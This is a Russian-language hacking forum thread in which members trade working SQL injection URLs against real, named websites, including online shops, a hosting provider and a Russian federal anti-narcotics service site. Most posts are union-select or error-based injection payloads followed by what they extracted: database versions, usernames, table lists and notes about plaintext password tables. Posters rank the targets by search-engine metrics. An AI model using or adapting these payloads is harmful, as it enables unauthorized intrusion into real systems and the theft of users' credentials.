SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Koren

    Koren Member

    Joined:
    11 Jul 2009
    Messages:
    66
    Likes Received:
    20
    Reputations:
    1
    shop

    http://www.proformancelogo.com/product.php?id=-317+union+select+1,2,3,version%28%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--

    http://www.dallasmustang.com/product.php?productid=1124+and+row%281,2%29in%28select+count%28*%29,concat%28%28select+table_name+from+information_schema.tables+limit+3,1%29,0x3a,floor%28rand%280%29*2%29%29as+a+from+information_schema.tables+x+group+by+a%29
     
  2. ubi

    ubi Elder - Старейшина

    Joined:
    25 Dec 2009
    Messages:
    308
    Likes Received:
    76
    Reputations:
    19
    Code:
    http://www.wislaportal.pl/news.php?id=-20193'+union+select+1,2,3,4,table_name,6,7,8,9,10,11,12,13,14+from+information_schema.tables+--+
    PR 4

    Какой то польский футбольный клуб чтоли.
     
    1 person likes this.
  3. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    Пару кило хостинга ))

    http://www.platinum-hosting.net/index.php?page=-contact%27+union+select+1,2,user%28%29,4,5,6--+
     
    1 person likes this.
  4. OnlyOn

    OnlyOn Banned

    Joined:
    18 Oct 2010
    Messages:
    252
    Likes Received:
    89
    Reputations:
    36
    завтра еще дам. тут я не смог таблицу подобрать.
    тут у нас блинд
     
  5. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,051
    Likes Received:
    615
    Reputations:
    690
    2OnlyOn прочитай первый пост =\
     
    _________________________
  6. OnlyOn

    OnlyOn Banned

    Joined:
    18 Oct 2010
    Messages:
    252
    Likes Received:
    89
    Reputations:
    36
    Первую удалил.
    По правилам вроде-бы все дальше ок. не боян. Указал инфу.
    Подобрать таблицу и БД не получилось
     
  7. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    Федеральная служба Российской Федерации по контролю за оборотом наркотиков
    Code:
    http://www.65.fskn.gov.ru/show_doc.php?id=-1+union+select++1,2,3,4,group_concat%280x3a,table_name%29,6,7,8,9,10,11,12+from+information_schema.tables+where+table_schema=0x73616b68706f6c696365+--+
    version: 5.0.82sp1-log
    database: sakhpolice
    user: sakhpolice@localhost

    tables
    Code:
    banners,docs,faq,faq_n,gallery,[B]users[/B],vacancy,vote,vote_answers,vote_variants,wanted
    пароли в открытом виде
     
    3 people like this.
  8. OnlyOn

    OnlyOn Banned

    Joined:
    18 Oct 2010
    Messages:
    252
    Likes Received:
    89
    Reputations:
    36
    Раскрытие путей:

    тИЦ 800, PR 6
     
    2 people like this.
  9. Обург

    Обург New Member

    Joined:
    5 Dec 2009
    Messages:
    2
    Likes Received:
    1
    Reputations:
    5
    никакой политики

    http://www.xram-novatorov.ru/page.php?id='+and+(select*from(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+concat_ws(0x3a,version(),database(),user())+from+INFORMATION_SCHEMA.TABLES+limit+0,1),1,64),floor(rand(0)*2)))z)--+
     
    1 person likes this.
  10. bloodAngel

    bloodAngel Banned

    Joined:
    29 Jun 2007
    Messages:
    22
    Likes Received:
    25
    Reputations:
    -1
    Code:
    http://www.avantage.spb.ru/catalog.php?ID=-28+union+select+1,version(),3,4,5,6--
    5.0.77-log
    Яндекс тИЦ 10
    Яндекс Rank 2/6
    Google PageRank 3/10

    Code:
    http://www.domivka.dp.ua/catalog.php?cat=1%20or(1,2)=(select*from(select%20name_const(version(),1),name_const(version(),1))a)
    '5.0.91-community'
    Яндекс тИЦ 10
    Яндекс Rank 2/6

    Google PageRank 1/10
     
    #13910 bloodAngel, 5 Jun 2011
    Last edited: 5 Jun 2011
  11. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://uprava.org/section.php?id=19&sub_id=-167%20and%201=2%20union%20select%201,2,3,4,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os)+--

    4.0.27-log uprava-org@fhe2.hoster.ru uprava-org portbld-freebsd7.0
     
    #13911 AC//DC, 6 Jun 2011
    Last edited by a moderator: 8 Jun 2011
  12. OnlyOn

    OnlyOn Banned

    Joined:
    18 Oct 2010
    Messages:
    252
    Likes Received:
    89
    Reputations:
    36
    PHP:
    http://eurozvuk.ru/gallery/index.php?id=999999.9%27+UNION+ALL+SELECT+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536%2C0x31303235343830303536+and+%27x%27%3D%27x
    Яндекс тИЦ (CY) 70
    Google PageRank (PR) 3
     
  13. OnlyOn

    OnlyOn Banned

    Joined:
    18 Oct 2010
    Messages:
    252
    Likes Received:
    89
    Reputations:
    36
    PHP:
    http://gretta.ru/catalog/card.php?cat=palio&id=999999.9%27+UNION+ALL+SELECT+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536--+a
    Яндекс тИЦ (CY) 100
    Google PageRank (PR) 2
     
  14. OnlyOn

    OnlyOn Banned

    Joined:
    18 Oct 2010
    Messages:
    252
    Likes Received:
    89
    Reputations:
    36
    PHP:
    http://landscrona.ru/tales/index.php?id=999999.9+UNION+ALL+SELECT+0x31303235343830303536%2C0x31303235343830303536%2Cconcat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536--
    Яндекс тИЦ (CY) 160
    Google PageRank (PR) 3
     
  15. OnlyOn

    OnlyOn Banned

    Joined:
    18 Oct 2010
    Messages:
    252
    Likes Received:
    89
    Reputations:
    36
    PHP:
    http://resurs.ua/index.php?id=2&more=21+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+1%3D1
    Яндекс тИЦ (CY) 30
    Google PageRank (PR) 2

    Тут БД с логин-пасс в открытом виде. Наслаждайтесь. Пару мыльников попалось с довольно таки крутыми доменами XD
     
  16. durito

    durito Elder - Старейшина

    Joined:
    6 Jun 2008
    Messages:
    125
    Likes Received:
    24
    Reputations:
    27
    http://www.benzrealty.com.au/content.php?page_id=-8+/*!UnIon+selECt+version%28%29*/

    5.1.52
     
  17. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    crime-maps.org

    http://crime-maps.org/documentation_centre/centre/newsletter/newsletter_issue.php?i_=-45+union+select+1,concat%28file_priv,0x3a3a,User%29,3+from+mysql.user+limit+0,1--+&a_=395
     
    1 person likes this.
  18. monstr3

    monstr3 New Member

    Joined:
    17 Nov 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    5
    Таким образом подбираем существующую таблицу:
    Если ABCDEF заменить на USERS - запроспроходит.

    Далее подбираем поля:
    Если вместо pass написать password - запрос проходит.
     
    #13918 monstr3, 7 Jun 2011
    Last edited by a moderator: 8 Jun 2011
  19. foozzi

    foozzi Member

    Joined:
    13 Apr 2010
    Messages:
    195
    Likes Received:
    12
    Reputations:
    5
    Code:
    http://www.cms.it/prodotti.php?lang=eng&pc=-49+union+select+1,2,3,4,5,6,7,8,concat_ws%280x3a,version%28%29,database%28%29,user%28%29,@@version_compile_os%29,10,%2011,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64+--+
     
  20. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,403
    Likes Received:
    882
    Reputations:
    859
    pr5 ТИЦ 20
    fenetreeurope@localhost:5.0.45:dbfenetreeurope

    pr1
    buketizkonfet@localhost:5.1.51:buketizkonfet

    pr2
    buketizkonfet@localhost:5.1.51:buketizkonfet

    kharkovapartment@localhost:4.0.27:kharkovapartment

    drobinson@localhost:5.0.27:business_data
     
    _________________________
Loading...
Thread Status:
Not open for further replies.